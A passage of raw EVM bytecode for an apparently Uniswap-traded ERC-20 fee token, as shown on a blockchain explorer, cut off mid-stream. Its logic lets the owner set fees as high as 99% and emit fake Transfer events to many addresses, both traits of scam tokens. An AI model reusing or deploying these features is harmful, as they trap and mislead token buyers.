4051612d0f9190613529565b60405180910390a3612d22848484612f66565b50505050565b6000612d3330610fcd565b90506000601554601654612d4791906138be565b9050600080831480612d595750600082145b15612d6657505050612f33565b6014600b54612d759190613cb1565b831115612d8e576014600b54612d8b9190613cb1565b92505b600060028360165486612da19190613cb1565b612dab9190613d22565b612db59190613d22565b90506000612dcc8286612f6b90919063ffffffff16565b90506000479050612ddc82612f81565b6000612df18247612f6b90919063ffffffff16565b90506000612e1c87612e0e60155485612f3590919063ffffffff16565b612f4b90919063ffffffff16565b905060008183612e2c9190614594565b905060006016819055506000601581905550600086118015612e4e5750600081115b15612e9b57612e5d86826131be565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618582601654604051612e929392919061477e565b60405180910390a15b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051612ee1906147e6565b60006040518083038185875af1925050503d8060008114612f1e576040519150601f19603f3d011682016040523d82523d6000602084013e612f23565b606091505b5050809750505050505050505050505b565b60008183612f439190613cb1565b905092915050565b60008183612f599190613d22565b905092915050565b505050565b505050565b60008183612f799190614594565b905092915050565b6000600267ffffffffffffffff811115612f9e57612f9d6147fb565b5b604051908082528060200260200182016040528015612fcc5781602001602082028036833780820191505090505b5090503081600081518110612fe457612fe3613a50565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613089573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130ad919061483f565b816001815181106130c1576130c0613a50565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613126307f000000000000000000000000000000000000000000000000000000000000000084611c9a565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613188959493929190614965565b600060405180830381600087803b1580156131a257600080fd5b505af11580156131b6573d6000803e3d6000fd5b505050505050565b6131e9307f000000000000000000000000000000000000000000000000000000000000000084611c9a565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401613250969594939291906149bf565b60606040518083038185885af115801561326e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132939190614a35565b5050505050565b600080fd5b600080fd5b6000819050919050565b6132b7816132a4565b81146132c257600080fd5b50565b6000813590506132d4816132ae565b92915050565b600080604083850312156132f1576132f061329a565b5b60006132ff858286016132c5565b9250506020613310858286016132c5565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613354578082015181840152602081019050613339565b60008484015250505050565b6000601f19601f8301169050919050565b600061337c8261331a565b6133868185613325565b9350613396818560208601613336565b61339f81613360565b840191505092915050565b600060208201905081810360008301526133c48184613371565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006133f7826133cc565b9050919050565b613407816133ec565b811461341257600080fd5b50565b600081359050613424816133fe565b92915050565b600080604083850312156134415761344061329a565b5b600061344f85828601613415565b9250506020613460858286016132c5565b9150509250929050565b60008115159050919050565b61347f8161346a565b82525050565b600060208201905061349a6000830184613476565b92915050565b6000819050919050565b60006134c56134c06134bb846133cc565b6134a0565b6133cc565b9050919050565b60006134d7826134aa565b9050919050565b60006134e9826134cc565b9050919050565b6134f9816134de565b82525050565b600060208201905061351460008301846134f0565b92915050565b613523816132a4565b82525050565b600060208201905061353e600083018461351a565b92915050565b60008060006060848603121561355d5761355c61329a565b5b600061356b86828701613415565b935050602061357c86828701613415565b925050604061358d868287016132c5565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126135bc576135bb613597565b5b8235905067ffffffffffffffff8111156135d9576135d861359c565b5b6020830191508360208202830111156135f5576135f46135a1565b5b9250929050565b6000806000604084860312156136155761361461329a565b5b600084013567ffffffffffffffff8111156136335761363261329f565b5b61363f868287016135a6565b93509350506020613652868287016132c5565b9150509250925092565b613665816133ec565b82525050565b6000602082019050613680600083018461365c565b92915050565b600060ff82169050919050565b61369c81613686565b82525050565b60006020820190506136b76000830184613693565b92915050565b6000602082840312156136d3576136d261329a565b5b60006136e184828501613415565b91505092915050565b6136f38161346a565b81146136fe57600080fd5b50565b600081359050613710816136ea565b92915050565b6000806040838503121561372d5761372c61329a565b5b600061373b85828601613415565b925050602061374c85828601613701565b9150509250929050565b60006020828403121561376c5761376b61329a565b5b600061377a848285016132c5565b91505092915050565b60008060006040848603121561379c5761379b61329a565b5b600084013567ffffffffffffffff8111156137ba576137b961329f565b5b6137c6868287016135a6565b935093505060206137d986828701613701565b9150509250925092565b600080604083850312156137fa576137f961329a565b5b600061380885828601613415565b925050602061381985828601613415565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613859602083613325565b915061386482613823565b602082019050919050565b600060208201905081810360008301526138888161384c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006138c9826132a4565b91506138d4836132a4565b92508282019050808211156138ec576138eb61388f565b5b92915050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000613928601d83613325565b9150613933826138f2565b602082019050919050565b600060208201905081810360008301526139578161391b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806139a557607f821691505b6020821081036139b8576139b761395e565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613a1a602883613325565b9150613a25826139be565b604082019050919050565b60006020820190508181036000830152613a4981613a0d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613a8a826132a4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613abc57613abb61388f565b5b600182019050919050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b6000613afd601d83613325565b9150613b0882613ac7565b602082019050919050565b60006020820190508181036000830152613b2c81613af0565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115613b8a57808604811115613b6657613b6561388f565b5b6001851615613b755780820291505b8081029050613b8385613b33565b9450613b4a565b94509492505050565b600082613ba35760019050613c5f565b81613bb15760009050613c5f565b8160018114613bc75760028114613bd157613c00565b6001915050613c5f565b60ff841115613be357613be261388f565b5b8360020a915084821115613bfa57613bf961388f565b5b50613c5f565b5060208310610133831016604e8410600b8410161715613c355782820a905083811115613c3057613c2f61388f565b5b613c5f565b613c428484846001613b40565b92509050818404811115613c5957613c5861388f565b5b81810290505b9392505050565b6000613c71826132a4565b9150613c7c83613686565b9250613ca97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613b93565b905092915050565b6000613cbc826132a4565b9150613cc7836132a4565b9250828202613cd5816132a4565b91508282048414831517613cec57613ceb61388f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613d2d826132a4565b9150613d38836132a4565b925082613d4857613d47613cf3565b5b828204905092915050565b7f43616e6e6f7420736574206d617854786e206c6f776572207468616e20302e3560008201527f2500000000000000000000000000000000000000000000000000000000000000602082015250565b6000613daf602183613325565b9150613dba82613d53565b604082019050919050565b60006020820190508181036000830152613dde81613da2565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613e41602483613325565b9150613e4c82613de5565b604082019050919050565b60006020820190508181036000830152613e7081613e34565b9050919050565b6000613e82826132a4565b9150613e8d836132a4565b9250613eba7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613b93565b905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613f1e603983613325565b9150613f2982613ec2565b604082019050919050565b60006020820190508181036000830152613f4d81613f11565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613fb0602583613325565b9150613fbb82613f54565b604082019050919050565b60006020820190508181036000830152613fdf81613fa3565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614042603583613325565b915061404d82613fe6565b604082019050919050565b6000602082019050818103600083015261407181614035565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b60006140d4603483613325565b91506140df82614078565b604082019050919050565b60006020820190508181036000830152614103816140c7565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614166602683613325565b91506141718261410a565b604082019050919050565b6000602082019050818103600083015261419581614159565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006141f8602483613325565b91506142038261419c565b604082019050919050565b60006020820190508181036000830152614227816141eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061428a602283613325565b91506142958261422e565b604082019050919050565b600060208201905081810360008301526142b98161427d565b9050919050565b7f7472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b60006142f6601e83613325565b9150614301826142c0565b602082019050919050565b60006020820190508181036000830152614325816142e9565b9050919050565b7f7472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b6000614362601c83613325565b915061436d8261432c565b602082019050919050565b6000602082019050818103600083015261439181614355565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006143ce601683613325565b91506143d982614398565b602082019050919050565b600060208201905081810360008301526143fd816143c1565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000614460603583613325565b915061446b82614404565b604082019050919050565b6000602082019050818103600083015261448f81614453565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006144cc601383613325565b91506144d782614496565b602082019050919050565b600060208201905081810360008301526144fb816144bf565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b600061455e603683613325565b915061456982614502565b604082019050919050565b6000602082019050818103600083015261458d81614551565b9050919050565b600061459f826132a4565b91506145aa836132a4565b92508282039050818111156145c2576145c161388f565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614624602583613325565b915061462f826145c8565b604082019050919050565b6000602082019050818103600083015261465381614617565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006146b6602383613325565b91506146c18261465a565b604082019050919050565b600060208201905081810360008301526146e5816146a9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614748602683613325565b9150614753826146ec565b604082019050919050565b600060208201905081810360008301526147778161473b565b9050919050565b6000606082019050614793600083018661351a565b6147a0602083018561351a565b6147ad604083018461351a565b949350505050565b600081905092915050565b50565b60006147d06000836147b5565b91506147db826147c0565b600082019050919050565b60006147f1826147c3565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614839816133fe565b92915050565b6000602082840312156148555761485461329a565b5b60006148638482850161482a565b91505092915050565b6000819050919050565b600061489161488c6148878461486c565b6134a0565b6132a4565b9050919050565b6148a181614876565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6148dc816133ec565b82525050565b60006148ee83836148d3565b60208301905092915050565b6000602082019050919050565b6000614912826148a7565b61491c81856148b2565b9350614927836148c3565b8060005b8381101561495857815161493f88826148e2565b975061494a836148fa565b92505060018101905061492b565b5085935050505092915050565b600060a08201905061497a600083018861351a565b6149876020830187614898565b81810360408301526149998186614907565b90506149a8606083018561365c565b6149b5608083018461351a565b9695505050505050565b600060c0820190506149d4600083018961365c565b6149e1602083018861351a565b6149ee6040830187614898565b6149fb6060830186614898565b614a08608083018561365c565b614a1560a083018461351a565b979650505050505050565b600081519050614a2f816132ae565b92915050565b600080600060608486031215614a4e57614a4d61329a565b5b6000614a5c86828701614a20565b9350506020614a6d86828701614a20565b9250506040614a7e86828701614a20565b915050925092509256fea2646970667358221220799634c7ab9c76342ed7850ab7b0cc47a7c2e4d9bc9035a97c900b8e5125d36164736f6c63430008130033000000000000000000000000f00971defbd5a8813252ef87a989aa1bf90781f6

Deployed Bytecode

0x6080604052600436106102295760003560e01c806375f0a87411610123578063c0246668116100ab578063d882ddd01161006f578063d882ddd01461083e578063dd62ed3e14610867578063e2f45605146108a4578063f2fde38b146108cf578063f8b45b05146108f857610230565b8063c024666814610759578063c2b7bbb614610782578063c8c8ebe4146107ab578063d257b34f146107d6578063d85ba0631461081357610230565b80639a7a23d6116100f25780639a7a23d614610660578063a457c2d714610689578063a64e4f8a146106c6578063a9059cbb146106f1578063bbc0c7421461072e57610230565b806375f0a874146105b65780638da5cb5b146105e157806395d89b411461060c578063961883991461063757610230565b806339509351116101b15780636a486a8e116101755780636a486a8e146104e35780636ddd17131461050e57806370a0823114610539578063715018a6146105765780637571336a1461058d57610230565b806339509351146103d857806349bd5a5e146104155780634fbee193146104405780635caea9cb1461047d57806366ca9b83146104ba57610230565b806318160ddd116101f857806318160ddd146102f157806323b872dd1461031c57806326ededb81461035957806327c8f83514610382578063313ce567146103ad57610230565b806302dbd8f81461023557806306fdde031461025e578063095ea7b3146102895780631694505e146102c657610230565b3661023057005b600080fd5b34801561024157600080fd5b5061025c600480360381019061025791906132da565b610923565b005b34801561026a57600080fd5b50610273610a16565b60405161028091906133aa565b60405180910390f35b34801561029557600080fd5b506102b060048036038101906102ab919061342a565b610aa8565b6040516102bd9190613485565b60405180910390f35b3480156102d257600080fd5b506102db610ac6565b6040516102e891906134ff565b60405180910390f35b3480156102fd57600080fd5b50610306610aea565b6040516103139190613529565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190613544565b610af4565b6040516103509190613485565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906135fc565b610bec565b005b34801561038e57600080fd5b50610397610d3d565b6040516103a4919061366b565b60405180910390f35b3480156103b957600080fd5b506103c2610d43565b6040516103cf91906136a2565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa919061342a565b610d4c565b60405161040c9190613485565b60405180910390f35b34801561042157600080fd5b5061042a610df8565b604051610437919061366b565b60405180910390f35b34801561044c57600080fd5b50610467600480360381019061046291906136bd565b610e1e565b6040516104749190613485565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f91906136bd565b610e74565b6040516104b19190613485565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc91906132da565b610eca565b005b3480156104ef57600080fd5b506104f8610fb4565b6040516105059190613529565b60405180910390f35b34801561051a57600080fd5b50610523610fba565b6040516105309190613485565b60405180910390f35b34801561054557600080fd5b50610560600480360381019061055b91906136bd565b610fcd565b60405161056d9190613529565b60405180910390f35b34801561058257600080fd5b5061058b611015565b005b34801561059957600080fd5b506105b460048036038101906105af9190613716565b61109d565b005b3480156105c257600080fd5b506105cb611174565b6040516105d8919061366b565b60405180910390f35b3480156105ed57600080fd5b506105f661119a565b604051610603919061366b565b60405180910390f35b34801561061857600080fd5b506106216111c4565b60405161062e91906133aa565b60405180910390f35b34801561064357600080fd5b5061065e600480360381019061065991906132da565b611256565b005b34801561066c57600080fd5b5061068760048036038101906106829190613716565b61143a565b005b34801561069557600080fd5b506106b060048036038101906106ab919061342a565b61155e565b6040516106bd9190613485565b60405180910390f35b3480156106d257600080fd5b506106db611649565b6040516106e89190613485565b60405180910390f35b3480156106fd57600080fd5b506107186004803603810190610713919061342a565b61165c565b6040516107259190613485565b60405180910390f35b34801561073a57600080fd5b5061074361167a565b6040516107509190613485565b60405180910390f35b34801561076557600080fd5b50610780600480360381019061077b9190613716565b61168d565b005b34801561078e57600080fd5b506107a960048036038101906107a491906136bd565b6117b2565b005b3480156107b757600080fd5b506107c0611872565b6040516107cd9190613529565b60405180910390f35b3480156107e257600080fd5b506107fd60048036038101906107f89190613756565b611878565b60405161080a9190613485565b60405180910390f35b34801561081f57600080fd5b506108286119cd565b6040516108359190613529565b60405180910390f35b34801561084a57600080fd5b5061086560048036038101906108609190613783565b6119d3565b005b34801561087357600080fd5b5061088e600480360381019061088991906137e3565b611af4565b60405161089b9190613529565b60405180910390f35b3480156108b057600080fd5b506108b9611b7b565b6040516108c69190613529565b60405180910390f35b3480156108db57600080fd5b506108f660048036038101906108f191906136bd565b611b81565b005b34801561090457600080fd5b5061090d611c78565b60405161091a9190613529565b60405180910390f35b61092b611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610949611c86565b73ffffffffffffffffffffffffffffffffffffffff161461099f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109969061386f565b60405180910390fd5b81601381905550806014819055506014546013546109bd91906138be565b60128190555060125460118190555060636012541115610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a099061393e565b60405180910390fd5b5050565b606060038054610a259061398d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a519061398d565b8015610a9e5780601f10610a7357610100808354040283529160200191610a9e565b820191906000526020600020905b815481529060010190602001808311610a8157829003601f168201915b5050505050905090565b6000610abc610ab5611c7e565b8484611c9a565b6001905092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b6000610b01848484611e63565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b4c611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc390613a30565b60405180910390fd5b610be085610bd8611c7e565b858403611c9a565b60019150509392505050565b610bf4611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610c12611c86565b73ffffffffffffffffffffffffffffffffffffffff1614610c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5f9061386f565b60405180910390fd5b60005b83839050811015610d3757838382818110610c8957610c88613a50565b5b9050602002016020810190610c9e91906136bd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d1c9190613529565b60405180910390a38080610d2f90613a7f565b915050610c6b565b50505050565b61dead81565b60006009905090565b6000610dee610d59611c7e565b848460016000610d67611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de991906138be565b611c9a565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610ed2611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610ef0611c86565b73ffffffffffffffffffffffffffffffffffffffff1614610f46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3d9061386f565b60405180910390fd5b81600f8190555080600e81905550600e54600f54610f6491906138be565b60108190555060146010541115610fb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa790613b13565b60405180910390fd5b5050565b60125481565b600d60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61101d611c7e565b73ffffffffffffffffffffffffffffffffffffffff1661103b611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611091576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110889061386f565b60405180910390fd5b61109b600061289a565b565b6110a5611c7e565b73ffffffffffffffffffffffffffffffffffffffff166110c3611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611119576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111109061386f565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546111d39061398d565b80601f01602080910402602001604051908101604052809291908181526020018280546111ff9061398d565b801561124c5780601f106112215761010080835404028352916020019161124c565b820191906000526020600020905b81548152906001019060200180831161122f57829003601f168201915b5050505050905090565b61125e611c7e565b73ffffffffffffffffffffffffffffffffffffffff1661127c611c86565b73ffffffffffffffffffffffffffffffffffffffff16146112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c99061386f565b60405180910390fd5b6112da610d43565b600a6112e69190613c66565b6103e860056112f3610aea565b6112fd9190613cb1565b6113079190613d22565b6113119190613d22565b821015611353576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134a90613dc5565b60405180910390fd5b61135b610d43565b600a6113679190613c66565b6103e86005611374610aea565b61137e9190613cb1565b6113889190613d22565b6113929190613d22565b8110156113d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cb90613e57565b60405180910390fd5b6113dc610d43565b600a6113e89190613c66565b600a6113f49190613e77565b816113ff9190613cb1565b600c8190555061140d610d43565b600a6114199190613c66565b600a6114259190613e77565b826114309190613cb1565b600a819055505050565b611442611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611460611c86565b73ffffffffffffffffffffffffffffffffffffffff16146114b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ad9061386f565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153d90613f34565b60405180910390fd5b611550828261109d565b61155a8282612960565b5050565b6000806001600061156d611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561162a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162190613fc6565b60405180910390fd5b61163e611635611c7e565b85858403611c9a565b600191505092915050565b600d60019054906101000a900460ff1681565b6000611670611669611c7e565b8484611e63565b6001905092915050565b600d60009054906101000a900460ff1681565b611695611c7e565b73ffffffffffffffffffffffffffffffffffffffff166116b3611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611709576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117009061386f565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516117a69190613485565b60405180910390a25050565b6117ba611c7e565b73ffffffffffffffffffffffffffffffffffffffff166117d8611c86565b73ffffffffffffffffffffffffffffffffffffffff161461182e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118259061386f565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b6000611882611c7e565b73ffffffffffffffffffffffffffffffffffffffff166118a0611c86565b73ffffffffffffffffffffffffffffffffffffffff16146118f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ed9061386f565b60405180910390fd5b620186a06001611904610aea565b61190e9190613cb1565b6119189190613d22565b82101561195a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195190614058565b60405180910390fd5b6103e86005611967610aea565b6119719190613cb1565b61197b9190613d22565b8211156119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b4906140ea565b60405180910390fd5b81600b8190555060019050919050565b60105481565b6119db611c7e565b73ffffffffffffffffffffffffffffffffffffffff166119f9611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a469061386f565b60405180910390fd5b60005b83839050811015611aee578160076000868685818110611a7557611a74613a50565b5b9050602002016020810190611a8a91906136bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611ae690613a7f565b915050611a52565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b611b89611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611ba7611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf49061386f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c639061417c565b60405180910390fd5b611c758161289a565b50565b600c5481565b600033905090565b600080611c91612a01565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d009061420e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6f906142a0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e569190613529565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ed2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec99061430c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3890614378565b60405180910390fd5b60008103611f5a57611f5583836000612aa9565b612895565b611f6261119a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611fd05750611fa061119a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120095750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612043575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561205c5750600860149054906101000a900460ff16155b1561239057600d60009054906101000a900460ff1661215657601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121165750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214c906143e4565b60405180910390fd5b5b601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121f95750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122a057600a54811115612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223a90614476565b60405180910390fd5b600c5461224f83610fcd565b8261225a91906138be565b111561229b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612292906144e2565b60405180910390fd5b61238f565b601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123435750601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561238e57600a5481111561238d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238490614574565b60405180910390fd5b5b5b5b600061239b30610fcd565b90506000600b5482101590508080156123c05750600d60029054906101000a900460ff165b80156123d95750600860149054906101000a900460ff16155b801561242f5750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a